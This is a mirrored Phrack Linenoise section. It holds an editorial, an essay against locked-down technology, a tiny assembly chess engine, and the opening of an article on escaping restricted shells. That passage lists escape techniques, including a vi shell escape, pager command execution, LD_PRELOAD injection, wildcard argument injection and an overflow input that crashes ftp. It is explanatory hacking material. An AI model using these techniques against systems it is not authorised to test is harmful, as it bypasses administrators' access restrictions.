mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
3512 lines
149 KiB
Text
3512 lines
149 KiB
Text
![]() |
==Phrack Inc.==
|
||
|
|
||
|
Volume 0x0f, Issue 0x45, Phile #0x04 of 0x10
|
||
|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=-----------------------=[ L I N E N O I S E ]=-----------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=-------------------------=[ various ]=-------------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
|
||
|
An old Phrack Staff member and friend used to say that "a strong Linenoise
|
||
|
makes a good release".
|
||
|
|
||
|
We begin our journey with an interesting philosophical article, "Hacker
|
||
|
Luddites" by an anonymous author. TL;DR, ever had an iPhone? Have you
|
||
|
realized you don't actually own something you paid several hundreds of
|
||
|
bucks to acquire? The "cloud era" trend, which has convinced many people
|
||
|
as well businesses, to literally grant owning rights for their data to
|
||
|
large corporations, is now everywhere. How is it affecting our state of
|
||
|
mind and where is this going?
|
||
|
|
||
|
Our technical part is very strong. Baudsurfer developed an interesting ASM
|
||
|
chess game in just 256 bytes; read the heavily-commented code and feel the
|
||
|
nostalgia in your bones. More old-school goodness in a lovely article
|
||
|
dealing with secure shells and how one can exploit common misconfigurations
|
||
|
to bypass various limitations and break out of restricted environments.
|
||
|
Articles like this have a lot to offer to the hacking community. We urge
|
||
|
our dear readers to follow DangerMouse's example and submit more articles
|
||
|
like his!
|
||
|
|
||
|
The next article has a strange back story. We received this submission
|
||
|
long ago and we decided to publish it. Admittedly, a lot of time has passed
|
||
|
since then. The author has stopped replying to mails, but he was originally
|
||
|
positive about publishing his work. Read it and see how you can cause
|
||
|
short ID key collisions in GPG. As our everyday computing machines become
|
||
|
increasingly powerful, such attacks become more and more realistic.
|
||
|
|
||
|
Following that are two excellent short articles exploring subjects every
|
||
|
exploit developer is doomed to deal with, namely boundary conditions and
|
||
|
shellcoding. Our rotten haxor chown has written a nice guide on how to use
|
||
|
Microsoft's Z3 solver to facilitate the process of exploit development.
|
||
|
Recently (well, maybe not so recently, lulz), there has been a shift
|
||
|
towards more formal methods even by old-school haxors who have always
|
||
|
preferred and obeyed the KISS (Keep It Simple, Stupid!) primitive. Hackers
|
||
|
have understood that the process of vulnerability discovery as well as
|
||
|
exploit development can be augmented by modern mathematics and maybe become
|
||
|
even more interesting! One cannot easily forget p64_0x08.txt, right? In the
|
||
|
next article, fishstiqz shows us how you can simply use your compiler to
|
||
|
easily build shellcodes for Windows. If you ever thought shellcode
|
||
|
development on Microsoft's operating system is a pain in the ass, then
|
||
|
this article is definitely for you.
|
||
|
|
||
|
Last but not least we have an opinion piece on the vulnerability
|
||
|
disclosure circus, the incentives and the related moral questions (lulz)
|
||
|
by two anonymous contributors. It is balanced and dispassionate and we
|
||
|
urge you to read it in the same manner.
|
||
|
|
||
|
That's it you greedy mofos, another strong Linenoise! Enjoy!
|
||
|
|
||
|
|
||
|
--[ Contents
|
||
|
|
||
|
1 - Hacker Luddites ................................... anonymous
|
||
|
|
||
|
2 - Chesslin .......................................... Baudsurfer
|
||
|
|
||
|
3 - He Compels Secure Shells .......................... DangerMouse
|
||
|
|
||
|
4 - Personalized PGP Key IDs .......................... f1los0tt1l3
|
||
|
|
||
|
5 - How to cheat at maths ............................. chown
|
||
|
|
||
|
6 - Shellcode the better way, or how to just
|
||
|
use your compiler ................................. fishstiqz
|
||
|
|
||
|
7 - Resisting the Hy(p|v)e ............................ anon & anon
|
||
|
|
||
|
|
||
|
|=[ 0x01 ]=---=[ Hacker Luddites - anonymous ]=--------------------------=|
|
||
|
|
||
|
|
||
|
In the west, far gone are the days of slavery. Men live freely with their
|
||
|
minds and bodies. So the idea of technology potentially limiting these
|
||
|
things is absurd.
|
||
|
|
||
|
Computer technology today might not always encourage these principles of
|
||
|
free mind and body though. Hardware and software is increasingly built in
|
||
|
the same manner as stone walled gardens, restricting those outside the
|
||
|
inner circles of technocrats. The designers decide to clutch tightly to
|
||
|
their systems, defining the full set of actions allowable and therefore
|
||
|
thinkable on their systems. They are limiting the potential for
|
||
|
creativity, discovery, and reason in order to further profit. This profit
|
||
|
is furthered by control because certain control limits piracy, stops
|
||
|
malicious software from propagating, simplifies the user experience for
|
||
|
the majority of consumers, and creates revenue through software-regulated
|
||
|
micro decisions that constrain the full capacity of the hardware and
|
||
|
software systems being sold.
|
||
|
|
||
|
Only the masters of the garden, the designers, are allowed inside the
|
||
|
stone walls, where they are free to create and are conscious of the inner
|
||
|
workings and plans. Those outside are not allowed inside the garden. Those
|
||
|
who are not inside the circle of the original creators do not get to
|
||
|
create without delegated permission. And consumers and third-party
|
||
|
developers are too far down the caste system to be allowed arbitrary
|
||
|
control of their own possessions.
|
||
|
|
||
|
This leaves the creators on the outside of the stoned walls dependent on
|
||
|
brilliant and dedicated minds to bypass the wishes of the designers. These
|
||
|
brilliant minds attain a level of consciousness about the constraints of
|
||
|
the system that the designers themselves did not understand, and pass this
|
||
|
on to the masses. Along the way come miscreants, thieves, and pirates.
|
||
|
|
||
|
In a free market system, if more arbitrary creation is vital in the long
|
||
|
term, then more creative systems will arise to fill the need. In the short
|
||
|
term, allowing feedback from the outer castes and integrating their ideas
|
||
|
has been shown to be more than sufficient for sustained exponential growth
|
||
|
on the rise to market domination.
|
||
|
|
||
|
|
||
|
Hacker Luddite: (Oxymoron) A person opposed to technology that greatly
|
||
|
limits, through artificial means, human potential for consciousness,
|
||
|
reason, or creativity with that same technology.
|
||
|
|
||
|
Hacker Luddites hate stone wall garden technologies. Why shouldn't a
|
||
|
person be allowed to hold a piece of technology and attempt to modify or
|
||
|
adapt that technology to suit their will at any given moment? The only
|
||
|
limitation should be the consciousness required to make changes. And
|
||
|
certainly not artificially restricted by the designers of the technology.
|
||
|
In the same way that Kant based the premises of the categorical imperative
|
||
|
on the ability for humans to reason, Hacker Luddites view this capacity
|
||
|
for reason as a fundamentally important human ability. When computer
|
||
|
technology, purchased and entirely in the physical possession of the
|
||
|
owner, denies arbitrary modification and creation, it greatly reduces the
|
||
|
ability to reason about the universe with that technology. That technology
|
||
|
does not allow people to transcend the designers ideas and fully embrace
|
||
|
some of their most important human traits. Instead it delegates the
|
||
|
consumers to subordinates with restricted consciousness, and restricted
|
||
|
capacity for reason, and restricted creativity.
|
||
|
|
||
|
|
||
|
Next up, computer technology applied excessively for the conversion of
|
||
|
human attention into personal profit.
|
||
|
|
||
|
To the hacker luddites, another nefarious category is the computer systems
|
||
|
of the world which have been built to turn human attention into profit.
|
||
|
Rather than proceeds coming from the advancement of humanity, the proceeds
|
||
|
come primarily from the ability to guide human attention into that
|
||
|
technological system. The system might be making the profit through ads,
|
||
|
or it could be a game consumers pay for.
|
||
|
|
||
|
It is understood that resources are required to run technologies and that
|
||
|
some exchange of information and resources is expected between consumers
|
||
|
and creators of that technology. Ads can be helpful to a consumer by
|
||
|
showing them products which they actually want, and games or sites for
|
||
|
information exchange are highly enjoyable to many people and therefore
|
||
|
provide benefit. It is when the methods and means become excessive that
|
||
|
hacker luddites take an issue.
|
||
|
|
||
|
When technologies, whether delivering advertisements or games, exploit
|
||
|
human psychology and physiology to turn a profit from their consumers,
|
||
|
they may often be directly limiting, and in a significant way, the
|
||
|
consciousness, reason, or creativity of that consumer.
|
||
|
|
||
|
The other problem is when instead of advertisements showing people what
|
||
|
they want, advertisements subconsciously manipulate peoples desires (such
|
||
|
as sex, popularity, and power) to override their consciousness and
|
||
|
reasoning abilities to get them to want and purchase products regardless
|
||
|
of the products abilities to help the consumer attain those desires.
|
||
|
|
||
|
And what if technologies instead of providing an opportunity for
|
||
|
relaxation or fun or profound information sharing or whatever also create
|
||
|
systems of psychological control where neurophysics brings users attention
|
||
|
back to technology to get addictive releases of dopamine or serotonin or
|
||
|
who knows what, using the darker arts of gamification. Or perhaps innate
|
||
|
human survival mechanisms related to group dynamics are being exploited by
|
||
|
the technology, such as showing automatically generated advertisements,
|
||
|
messages, and symbols as endorsed by members of a group, or creating
|
||
|
virtual resource systems where drives for competition or collaboration
|
||
|
drive behavior.
|
||
|
|
||
|
It may be that these technologies which capture human attention are simply
|
||
|
what most consumers want from their technology, after all 30% of internet
|
||
|
traffic generated by humans is for porn [1]. If distraction and the
|
||
|
subordination of reason, creativity, or consciousness is the will of the
|
||
|
majority, Hacker Luddites seriously disagree with the majority and most
|
||
|
definitely oppose the designers that subordinate them.
|
||
|
|
||
|
What defenses does the modern person have to protect against the likes and
|
||
|
tweets and clicks and slide to unlocks and checkmarks and tabs and porn
|
||
|
and endless dopamine and serotonin harvesting mechanisms? These systems
|
||
|
were sometimes built to reap monetary gain, sometimes built for
|
||
|
communication control, and sometimes for nothing of any value... in
|
||
|
exchange for a portion of the time, attention, and thoughts of the user as
|
||
|
well as their information...
|
||
|
|
||
|
|
||
|
Don't buy and don't use them.
|
||
|
|
||
|
If you do use them, use the them only in great moderation and only at
|
||
|
consciously specified times.
|
||
|
|
||
|
Inform others and expose existing and emerging technologies which may be
|
||
|
limiting human potential.
|
||
|
|
||
|
Augment the technology in your possession to block advertisements.
|
||
|
|
||
|
Degrade the quality or value of your attention to the attention-to-profit
|
||
|
technologies by:
|
||
|
|
||
|
- Sharing and proxying accounts with multiple users.
|
||
|
- Writing user interfaces to the user interfaces.
|
||
|
- Poisoning user activity with subtle fuzzers alongside your normal
|
||
|
activity where it makes sense.
|
||
|
|
||
|
Similarly, make your information more useless by lying.
|
||
|
|
||
|
- Don't bother with real names where they don't matter.
|
||
|
- Fill out forms like madlibs.
|
||
|
|
||
|
[1] http://www.extremetech.com/computing/123929-just-how-big-are-porn-sites
|
||
|
-- 30% of the internet traffic out there is porn
|
||
|
|
||
|
|
||
|
|=[ 0x02 ]=---=[ Chesslin - Baudsurfer/Red Sector Inc. ]=----------------=|
|
||
|
|
||
|
|
||
|
[ CHESSLIN ]
|
||
|
[ by Baudsurfer/Red Sector Inc. ]
|
||
|
|
||
|
|
||
|
|=--[ Introduction
|
||
|
|
||
|
This is a sizecoding exercise to code a playable chess engine in 256 bytes.
|
||
|
This POC is very experimental and bears several shortcomings when comparing
|
||
|
with any other real FIDE existing chess game engine : you have been warned.
|
||
|
It plays like a fish as AI is reduced to a half-ply max solely, it also has
|
||
|
no end-game detection, pawns move only a single square, it cannot castle or
|
||
|
do promotions - let alone en-passant - and takes about a hundred seconds to
|
||
|
play. It also only works on Microsoft Windows XP SP3. Like minimalist Edlin
|
||
|
line editor Cheesslin focuses on a single console line. Whites start at the
|
||
|
bottom of the virtual chess board but SAN notation order is inverse ranks :
|
||
|
|
||
|
A B C D E F G H
|
||
|
1 r n b q k b n r
|
||
|
2 p p p p p p p p
|
||
|
3
|
||
|
4
|
||
|
5
|
||
|
6
|
||
|
7 P P P P P P P P
|
||
|
8 R N B Q K B N R
|
||
|
|
||
|
So in order to test Chesslin one can uudecode below binaries to input first
|
||
|
algebraic notation "h7h6" characters starting game by moving the White pawn
|
||
|
on H file from seventh rank to sixth rank. A longer example string sequence
|
||
|
of gameplay is "h7h6h2h3g8f6h3h4f6g4h4h5g4h2g1h3h2f1h3g5". Remember if your
|
||
|
keyboard input is not legal chess then Chesslin will silently expect you to
|
||
|
enter again a conforming four ascii character string just to proceed. Thus,
|
||
|
if only a single faulty character was entered you will need to fill-in with
|
||
|
three more "dummy" characters before re-typing a desired algebraic notation
|
||
|
for validation only occurs every four-chars exactly. All bugs are ofc mine.
|
||
|
|
||
|
|=--[ Chesslin binaries
|
||
|
|
||
|
begin 644 CHESSLIN.COM
|
||
|
hMDCeaMbsgG-ai0J1BZ7aow+Y1ue7REu7PJsA06V3Ps1d+y9YjjjzJfY2+8nB
|
||
|
h8S9vUD66LrIfqSvTRTeyxTyhCC-m1CV1+565W2LtqkLP54Pz-LLbgE8hp-+3
|
||
|
hM0afsjTf2MbyWTSl-7XB3efWyiUN+59lu+A+O0E-fGpVARIEWQS2mLI0VWoY
|
||
|
hWABUjjjzgEXcGk-oFX10VAdpE6bvWAPcD+-o-X10VAdpAGbTcjLzWD+Y-uU-
|
||
|
hR+8l-1k-iyI-ptRp2DP405I0Ney2vPY0+5I0GOw-rz8iR+Hf+JXtMQDcaDxp
|
||
|
Uxkyk-QAJ-lAD1kzTsSvm1V6T6T+Ezk2D2T5jwC+D2F+D
|
||
|
+
|
||
|
end
|
||
|
|
||
|
begin 644 CHESSLIN.COM
|
||
|
M8/.JF8GXL2!FN"5#-E)FT\`D#ZJ)=0Z);5X,"(A%;X#I`^+DOOO_5KD$`*S-
|
||
|
M*>+[@/((7W4KV>[?=?J^]?^M..!R#.A#`'('B$7YVP7;'&;_!77GL0*MU!`%
|
||
|
M8"FKXO?K$8G^B?>Q!)C-%JKB^N@9`'+QZ`,`:"0!K2UA,=40B<>$R74"ABTD
|
||
|
MB,-@OOO_L0CH2P!T1C#"A,IU0(G[B,;H/`!T!C#"A,IU,2G?HO7_B/`D!Z@!
|
||
|
M=`*Q!#P!N^4!UY=U$/;&"'4"9J^$[;D"`'4"2:\!W_*N=`3K`5CY8</HF/]U
|
||
|
@]P^P!<,5!Q,/#P_?X>[R#A(?(?`0_P$/$?'O\.`/$1`/
|
||
|
`
|
||
|
end
|
||
|
|
||
|
|=--[ Chesslin source code
|
||
|
|
||
|
; "You don't need eyes to see You need vision." - Faithless _
|
||
|
; Special greets to : Impure ASCII 1940 and Divine Stylers! | |
|
||
|
; Greets : Alco Bon^2 BReWErS CODEX Flush Lineout Mandarine .--' `--.
|
||
|
; Onslaught Paranoimia Quartex Rebels Razor1911 RiOT Titan. `--. .--'
|
||
|
; _ _ _ _ _ ___| |___
|
||
|
; ______)\___ )\_________)\_______________)\_________)\ / \
|
||
|
;/________ __\\ __________ _________ ____ /____ ____ / \ /
|
||
|
; ______)\\__ \____ ___)\_____ _)\ /(_____)\ /(____ \ /
|
||
|
; _/ _ _/ / _ \_\____ _ \_\ \/ _/\ \/ _/ \ /
|
||
|
; \ \ \___\__ \ / \) __\___ __ /_\___ __ /_____ __> <__
|
||
|
; \ \_/ / \ / \/ /__\)_ _/__\)_ / (___ ___)
|
||
|
; \ / /____/\ /\ /\ / /\/ X /\/ / | |
|
||
|
; /_________/ \__/ \_______/_\____ ___/ \________/ ::::;| |
|
||
|
;: ___)\ __)\____________ | |;: :
|
||
|
;.-------------------------------, \ \\_\ \_____ ____/ gRK | |
|
||
|
;\Red Sector Incorporated presents\ \ \_(__)_ _)\ ___ ( )
|
||
|
; \Chesslin minimalist chess engine\ \ \ (__) \_/ /_ _/ \_
|
||
|
; \A 256 bytes DOS tiny intro XPSP3\ \ \ \ _ / \ _> <_
|
||
|
; \For Phrack Magazine #0x45 _ 2016\ \ \/ \ \ \_(___________)
|
||
|
;;;;,\Coded by Baudsurfer\RSi \\ &FU \ \ /\ \ \_____X___________>
|
||
|
; `------------------------' `----' \_/ \_____\___/
|
||
|
w equ word ; 16-bit prettifying helper,Chesslin v1.0 in 2016
|
||
|
d equ dword ; 32-bit prettifying helper,fasm assembler syntax
|
||
|
org 100h ; binary ip execution seg start address above psp
|
||
|
pusha ; para down stack and avoid input buff collisions
|
||
|
rep stosb ; prepare board empty squares assumes ax=0 cx=255
|
||
|
cwd ; set Black=0=top active player turn, White=8=bot
|
||
|
xchg ax,di ; shorter mov di,ax prepares writing segment base
|
||
|
mov cl,20h ; 32 initialization decoding bit rotations in all
|
||
|
a:mov eax,52364325h ; back-rank "rnbqkbnr" nibble-encoded 32b pattern
|
||
|
rol eax,cl ; rotate next Black chess piece value in lsnibble
|
||
|
and al,15 ; isolate a Black chess piece value from lsnibble
|
||
|
stosb ; left-to-right write Black back-rank major piece
|
||
|
mov [di+0eh],si ; left-to-right write Black pawns assumes si=100h
|
||
|
mov [di+5eh],bp ; left-to-right write White pawns assumes bp=9xxh
|
||
|
or al,8 ; transforms Black back-rank major piece to White
|
||
|
mov [di+6fh],al ; left-to-right write White back-rank major piece
|
||
|
sub cl,3 ; fixes back-rank pattern nibble rotation counter
|
||
|
loop a ; file-by-file ranks init loops 20h/(3+1)=8 times
|
||
|
b:mov si,0fffbh ; point source index to algebraic notation buffer
|
||
|
push si ; shorter save of algebraic notation buffer start
|
||
|
mov cx,4 ; print dword ascii algebraic notation buffer str
|
||
|
c:lodsb ; get one of four usr/cpu bytes from ascii buffer
|
||
|
int 29h ; dos api fast console out display char al=[di++]
|
||
|
loop c ; continue until ascii file-first pair chars left
|
||
|
xor dl,8 ; alternate active player turn Black=0 or White=8
|
||
|
pop di ; shorter restore algebraic notation buffer start
|
||
|
jnz h ; if active player turn is White then do keyboard
|
||
|
fldz ; else Black active player turn fpu load +0.0 cst
|
||
|
fbstp [di-6] ; and store back 80-bit packed bcd decimal number
|
||
|
e:mov si,0fff5h ; zeroed this,best score 0fff5h and coords 0fff7h
|
||
|
lodsw ; move lsb=potential capture vs. msb=best capture
|
||
|
cmp al,ah ; compare this capture value against best capture
|
||
|
jc f ; prune calculations if capture already lower val
|
||
|
call n ; else verify the attack potential chess legality
|
||
|
jc f ; capture higher value but move was illegal chess
|
||
|
mov [di-7],al ; successful calculation thus store newer highest
|
||
|
fild d [di] ; successful calculation thus load current coords
|
||
|
fistp d [si] ; successful calculation thus store highest coord
|
||
|
f:inc d [di] ; resume exploring exhaustive [0;0ffffh] interval
|
||
|
jnz e ; including subset ["1a1a";"8h8h"] until finished
|
||
|
mov cl,2 ; convert int32 to two file-first algebraic words
|
||
|
g:lodsw ; get first int16 msw/lsw algebraic notation word
|
||
|
aam 16 ; integer to expanded zero-based file/rank nibble
|
||
|
add ax,2960h ; translate file/rank to ascii chess board origin
|
||
|
stosw ; write pair=half of the ascii move buffer string
|
||
|
loop g ; get next int16 msw/lsw words algebraic notation
|
||
|
jmp k ; and proceed examining ascii move buffer strings
|
||
|
h:mov si,di ; di points to 0fffbh for both input and verifify
|
||
|
i:mov di,si ; resets every input to algebraic notation buffer
|
||
|
mov cl,4 ; one file-first algebraic notation is four bytes
|
||
|
j:cbw ; zero accumulator msb to set funct get keystroke
|
||
|
int 16h ; al=dos bios keyboard services api blocking read
|
||
|
stosb ; src file=fffb;rank=fffc dst file=fffd;rank=fffe
|
||
|
loop j ; all file-first algebraic ascii quartet inputed?
|
||
|
call n ; else verify algebraic ascii move is legal chess
|
||
|
jc i ; if not then proceed to ask user input move anew
|
||
|
k:call l ; converts algebraic notation buffer ascii source
|
||
|
push w b ; redirect second fall-through return to printout
|
||
|
l:lodsw ; algebraic notation buffer ascii source then dst
|
||
|
sub ax,3161h ; convert to zero-based alphanumerical 3161h="a1"
|
||
|
aad 16 ; convert to x88 board representation (al+=ah*16)
|
||
|
mov di,ax ; add x88 chess board representation memory start
|
||
|
test cl,cl ; verify caller's asked mode is passive or active
|
||
|
jnz m ; call asked mode mutex is passive so skip writes
|
||
|
xchg [di],ch ; call asked mode mutex is active so write board!
|
||
|
m:and al,88h ; test if inside main chess board x88 bitmask use
|
||
|
ret ; return to standard callers or printout redirect
|
||
|
n:pusha ; save reg vals in: si=fff7h/fffbh di=fffbh/ffffh
|
||
|
mov si,0fffbh ; point source index to current ascii move buffer
|
||
|
mov cl,8 ; set passive mode count mutex for only verifying
|
||
|
call x ; convert buffer ascii src pair to x88 memory add
|
||
|
jz u ; source is non-conforming : illegal empty square
|
||
|
xor dl,al ; sets move conformitiy using active player color
|
||
|
test dl,cl ; test move conformity using active player colour
|
||
|
jnz u ; source is non-conforming : opponent turn colour
|
||
|
mov bx,di ; else if source conforming then save piece addr.
|
||
|
mov dh,al ; else if source conforming then save piece value
|
||
|
call x ; convert buffer ascii dest to x88 memory address
|
||
|
jz o ; if move nature not an attack skip over captures
|
||
|
xor dl,al ; sets move conformitiy using active player color
|
||
|
test dl,cl ; test move conformity using active player colour
|
||
|
jnz u ; destination is non-conforming : same turn color
|
||
|
o:sub di,bx ; source & destination conforming so obtain delta
|
||
|
mov [0fff5h],al ; save piece value as non-transactional potential
|
||
|
mov al,dh ; restore previous saved move source piece nature
|
||
|
and al,7 ; normalize gray piece nature colorless isolation
|
||
|
test al,1 ; determine source piece's parity interval length
|
||
|
jz p ; piece face=piece nature=piece value=piece score
|
||
|
mov cl,4 ; override halfing default interval len if parity
|
||
|
p:cmp al,1 ; test if moving piece is a special handling pawn
|
||
|
mov bx,y ; piece memory address off-by-one index ret fixed
|
||
|
xlatb ; move piece original start offset memory address
|
||
|
xchg ax,di ; offset becomes accumulator becomes displacement
|
||
|
jnz s ; leave if move source piece not special handling
|
||
|
test dh,8 ; else adjust move source pawn color displacement
|
||
|
jnz q ; no White pawn displacement sub-interval fixings
|
||
|
scasd ; displacement interval offset+=4 for black pawns
|
||
|
q:test ch,ch ; verify if pawn is attacking an opponent piece ?
|
||
|
mov cx,2 ; loop index clears msb placeholder also sets lsb
|
||
|
jnz s ; if non-empty square : pawn attacking diagonally
|
||
|
dec cx ; else decrease parity interval size special case
|
||
|
r:scasw ; displacement interval start+=2 prunes attacking
|
||
|
s:add di,bx ; set displacement interval scanning start offset
|
||
|
repnz scasb ; verify move exists in displacement sub-interval
|
||
|
jz v ; ZF set legal src piece displacement delta found
|
||
|
jmp u ; illegal src piece displacement: delta not found
|
||
|
t:pop ax ; bail shotcircuits nested dataflow function call
|
||
|
u:stc ; carry mutex persists indicating move is illegal
|
||
|
v:popa ; persistant CF mutex is indicator to legal chess
|
||
|
ret ; restore move mode mutex cl=passive or cl=active
|
||
|
x:call l ; verify this move legal within inside main board
|
||
|
jnz t ; exits for illegal move piece outside main board
|
||
|
cmpxchg [di],al ; discriminate from special case zero return vals
|
||
|
y:db 195,21,7,19,15,15,15 ; p[1]PF4,n[2]PF8,b[3]PF4,q[4]PF8,r[5]PF4,k[6]PF8
|
||
|
z:db -33,-31,-18,-14,14 ; prev label is ret+1 parity displacement offsets
|
||
|
db 18,31,33,-16,16,-1,1 ; z array is displacement overlap interval values
|
||
|
db 15,17,-15,-17,-16 ; knight rook+8 bishop+12 pawns White+12 Black+18
|
||
|
db -32,15,17,16 ; queen and king moves are rook+bishop+pawn moves
|
||
|
|
||
|
|
||
|
|=[ 0x03 ]=---=[ He Compels Secure Shells - DangerMouse ]=---------------=|
|
||
|
|
||
|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=----------------------=[ He Compels Secure Shells ]=-------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=------------------------=[ by DangerMouse ]=---------------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
|
||
|
--[ Table of Contents
|
||
|
|
||
|
--[ Introduction
|
||
|
--[ Exploration - Primitive Gathering.
|
||
|
----[ Execution Primitive
|
||
|
----[ Write Primitive
|
||
|
----[ Read Primitive
|
||
|
--[ A real life example - freeshell.org
|
||
|
--[ A real life example - Private shell box
|
||
|
--[ Attacking the transport
|
||
|
--[ Conclusion
|
||
|
--[ References
|
||
|
--[ Appendix A - Common commands with useful primitives
|
||
|
--[ Appendix B - psh Source code
|
||
|
|
||
|
--[ Introduction
|
||
|
|
||
|
Welcome reader, in this small text we will look at a scenario which is
|
||
|
probably familiar to most of you. That is, breaking out of secure shells.
|
||
|
|
||
|
For those of you who don't know, a common scenario exists where an
|
||
|
administrator of some kind of device wishes to grant restricted access to
|
||
|
the functionality of that device. To accomplish this he/she will create a
|
||
|
shell (graphical or cli) which provides a subset of the features of the
|
||
|
system to the user. This may be as simple as replacing the user in
|
||
|
question's UNIX account shell with a custom written readline() loop which
|
||
|
executes options from a set list of commands.
|
||
|
|
||
|
There are numerous pit-falls associated with this practice which provide us
|
||
|
with a means to escalate our privileges from within the restricted shell.
|
||
|
In this write-up we will examine some of these pitfalls, as well as look at
|
||
|
the general process for investigating a restricted shell and eventually
|
||
|
breaking out to a higher entitled environment. To illustrate these points
|
||
|
we will look at some real life examples of secure shells and how we can
|
||
|
break them.
|
||
|
|
||
|
Some examples of pre-packaged, existing restricted shells are:
|
||
|
rbash/rssh/smrsh/rksh, however there also exists an endless array of custom
|
||
|
shells written for one off cases.
|
||
|
|
||
|
--[ Exploration - Primitive Gathering.
|
||
|
|
||
|
When investigating a secure shell environment, I find it best to
|
||
|
systematically explore each of the options within the shell looking to
|
||
|
collect certain primitives with which to elevate the options available.
|
||
|
|
||
|
----[ Execution Primitive
|
||
|
|
||
|
Typically the most useful primitive which we gain is the execute primitive.
|
||
|
Sometimes the ability to execute arbitrary commands is enough to break out
|
||
|
of the shell, for example executing a more complete shell such as bash from
|
||
|
within a restricted shell can often be enough to completely invalidate the
|
||
|
security of the system. Some examples of how to gain this primitive are:
|
||
|
|
||
|
- Using the shell execute feature of many common shell commands, for
|
||
|
example using the "!<shell command>" feature of the less pager.
|
||
|
- Invoking the execution of a text editor (often defined by the EDITOR
|
||
|
variable) from within another application. Then using shell execute
|
||
|
features of the editor to escape.
|
||
|
- Combining other primitives to hijack execution of exposed applications.
|
||
|
|
||
|
Here is a commonly used example of using the vi command to gain an
|
||
|
execution primitive:
|
||
|
|
||
|
~$ vi
|
||
|
:set shell=/bin/sh
|
||
|
:shell
|
||
|
bash$
|
||
|
|
||
|
From a GUI perspective, many years ago, after drinking at a conference we
|
||
|
decided it would be fun to create a game around breaking out from the many
|
||
|
netcafe's which littered the streets at this time. These netcafes used to
|
||
|
provide a restricted windows GUI with functionality removed, and the goal
|
||
|
was to race to break out, without using any real 0day.
|
||
|
|
||
|
Often in this scenario an easy win was provided by invoking the mirc32.exe
|
||
|
application (when it was whitelisted) and then using the /exec command to
|
||
|
invoke cmd.exe. Another option was to set the handler for telnet:// uri's
|
||
|
in the browser to cmd.exe and spawn it that way.
|
||
|
|
||
|
Another byproduct of using software in an unintended way is that the
|
||
|
security evaluation of the product technically neglects the permiters that
|
||
|
are being exposed to an untrusted user. This means that often there are
|
||
|
trivial memory corruption bugs exposed in the application which go
|
||
|
unreported since even when people find them they do not care a great deal.
|
||
|
|
||
|
eg:
|
||
|
|
||
|
$ perl -e'print "A"x50,"\n"' | ftp
|
||
|
Segmentation fault: 11
|
||
|
|
||
|
It is definitely worthwhile auditing some of the commonly included commands
|
||
|
in secure shells for easily triggerable memory corruption bugs, since these
|
||
|
can often be all that's needed to gain the execution primitive and win.
|
||
|
|
||
|
Another common method of gaining the execution primitive is to abuse
|
||
|
environment variable control to influence the dynamic linker. Typically
|
||
|
this means setting the LD_PRELOAD/DYLD_INSERT_LIBRARIES/Whatever variable
|
||
|
that provides a mechanism for injecting shared objects into a process as
|
||
|
soon as the dynamic linker loads. Obviously for this to work we also need a
|
||
|
write primitive before hand to store the library we wish to load somewhere.
|
||
|
The tmux example later in the paper shows a real life case where this was
|
||
|
possible.
|
||
|
|
||
|
----[ Write Primitive
|
||
|
|
||
|
Obviously in some cases we cannot easily gain the execute primitive. In
|
||
|
these cases we also looking for additional primitives which we can leverage
|
||
|
to eventually gain an execution primitive.
|
||
|
|
||
|
Finding a write primitive is usually pretty easy. Most applications need
|
||
|
some way to retain state between runs. Some examples are:
|
||
|
|
||
|
- Input redirection operators ('>', '>>', '>|', '<>', '>&', '&>', etc)
|
||
|
- Save ability of applications, text editors, etc
|
||
|
- Log files
|
||
|
|
||
|
In one case I saw, a write primitive alone was enough to break out of the
|
||
|
restricted shell. By writing to a .unrestricted_user file within the home
|
||
|
directory of your user account, the next login was presented with a bash
|
||
|
shell. This is not typically the case though.
|
||
|
|
||
|
When a write primitive is aquired it is also worth keeping in mind the
|
||
|
trick mentioned in [3]. If any of the invoked shell commands use wildcard
|
||
|
expansion on a directory, it can sometimes be possible to create files
|
||
|
beginning with the '-' character, to pass arguments to those commands.
|
||
|
|
||
|
As you will see in the real life examples below, write primitives are
|
||
|
typically available in most applications, and can easily be leveraged in a
|
||
|
variety of ways to continue breaking out of the shell.
|
||
|
|
||
|
----[ Read Primitive
|
||
|
|
||
|
When talking about a read primitive, we need some way to read an arbitrary
|
||
|
file from the file system and display its contents on the screen.
|
||
|
|
||
|
Sometimes this can be relatively straight forward, for example in a shell
|
||
|
which uses /usr/bin/less as a pager, you can use the :e (examine) command
|
||
|
to open an alternative file. However often with less you can execute a
|
||
|
command with ! as well, but in a case where you are unaware of the file
|
||
|
system, you can use the e command to brute force directory structure to
|
||
|
find things which are worthwhile executing.
|
||
|
|
||
|
Other applications are less straight forward, sometimes the read primitive
|
||
|
may be filtered, or evaluated as a config file for the program. In these
|
||
|
cases, sometimes contents of the file can only be retreived via error
|
||
|
messages. Basically whenever you see a file path being provided to an
|
||
|
application, you can test it wtih some known files to see if there is a way
|
||
|
to retreive the contents.
|
||
|
|
||
|
Even when it is im-possible to retrieve the contents of a file, sometimes a
|
||
|
program will respond differently when a file exists or not. This may be
|
||
|
easily noticed, or something subtle like return codes. This leak can be
|
||
|
used to map out the file system.
|
||
|
|
||
|
--[ A real life example - freeshell.org
|
||
|
|
||
|
Now that we've looked at a more generic approach to defeating secure
|
||
|
shells, we will look at some real world examples. The first of which is the
|
||
|
restrcited shell "psh" which is used in the freeshell.org environment. (SDF
|
||
|
Public Access UNIX System).
|
||
|
|
||
|
Before we get started looking at freeshell.org, i'd just like to say, I
|
||
|
have nothing but respect for freeshell.org. I have been playing with the
|
||
|
restricted shell on there for around 12 years, and have broken it a number
|
||
|
of ways. Several times I have contacted the admins to let them know. To me
|
||
|
this has provided a constantly evolving wargame which has been hours of
|
||
|
fun.
|
||
|
|
||
|
The process of setting up an account on freeshell.org is really simple.
|
||
|
By ssh'ing into the freeshell.org box as the user "new" you are redirected
|
||
|
to a sign up process.
|
||
|
|
||
|
$ ssh new@freeshell.org
|
||
|
|
||
|
You will now be connected to NEWUSER mkacct server.
|
||
|
Please login as 'new' when prompted.
|
||
|
|
||
|
[RETURN]
|
||
|
|
||
|
